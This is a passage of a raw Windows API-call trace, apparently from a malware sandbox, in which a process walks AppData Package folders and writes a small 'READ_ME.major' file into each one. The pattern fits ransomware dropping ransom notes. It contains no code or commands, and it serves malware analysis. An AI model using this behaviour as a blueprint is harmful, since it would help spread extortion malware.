[0187.849] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb64026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0187.849] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.851] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.852] CloseHandle (hObject=0x8c0) returned 1 [0187.852] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb6476c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0187.852] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.852] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.853] CloseHandle (hObject=0x8c0) returned 1 [0187.854] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x222a38a5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x222a38a5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x222a38a5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0187.854] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb652c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0187.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.855] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.856] CloseHandle (hObject=0x8c0) returned 1 [0187.856] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf286f050, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0187.856] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.920] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.921] CloseHandle (hObject=0x8c0) returned 1 [0187.921] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdc0d575, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0187.921] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.923] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.923] CloseHandle (hObject=0x8c0) returned 1 [0187.924] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdc0d575, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0187.924] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661630 [0187.924] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0187.924] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x109ba31, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33d3c232, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33d3c232, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0187.924] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.026] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.027] CloseHandle (hObject=0x8c4) returned 1 [0188.027] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x107580d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5bd63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x107580d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.027] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.029] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.030] CloseHandle (hObject=0x8c4) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5c548, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.031] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.032] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.033] CloseHandle (hObject=0x8c4) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5cd7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.033] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.034] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.035] CloseHandle (hObject=0x8c4) returned 1 [0188.035] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2236242b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2236242b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.035] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5d5ab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.035] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.035] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.036] CloseHandle (hObject=0x8c4) returned 1 [0188.036] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x107580d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.036] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.072] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.073] CloseHandle (hObject=0x8c4) returned 1 [0188.073] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcddc79b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.073] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0188.075] WriteFile (in: hFile=0x8c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.075] CloseHandle (hObject=0x8c4) returned 1 [0188.075] FindNextFileW (in: hFindFile=0x661630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcddc79b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.075] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661570 [0188.076] FindNextFileW (in: hFindFile=0x661570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.076] FindNextFileW (in: hFindFile=0x661570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebf2fc88, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.076] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.3_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0188.107] WriteFile (in: hFile=0x8c8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.107] CloseHandle (hObject=0x8c8) returned 1 [0188.108] FindNextFileW (in: hFindFile=0x661570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2236242b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2236242b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.108] FindNextFileW (in: hFindFile=0x661570, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2236242b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2236242b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2236242b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0188.108] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2238854a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661670 [0188.108] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2238854a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.108] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2690400b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x33fc4a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33fc4a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.108] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.110] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.110] CloseHandle (hObject=0x8cc) returned 1 [0188.111] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2686b7b5, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde948f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2686b7b5, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, 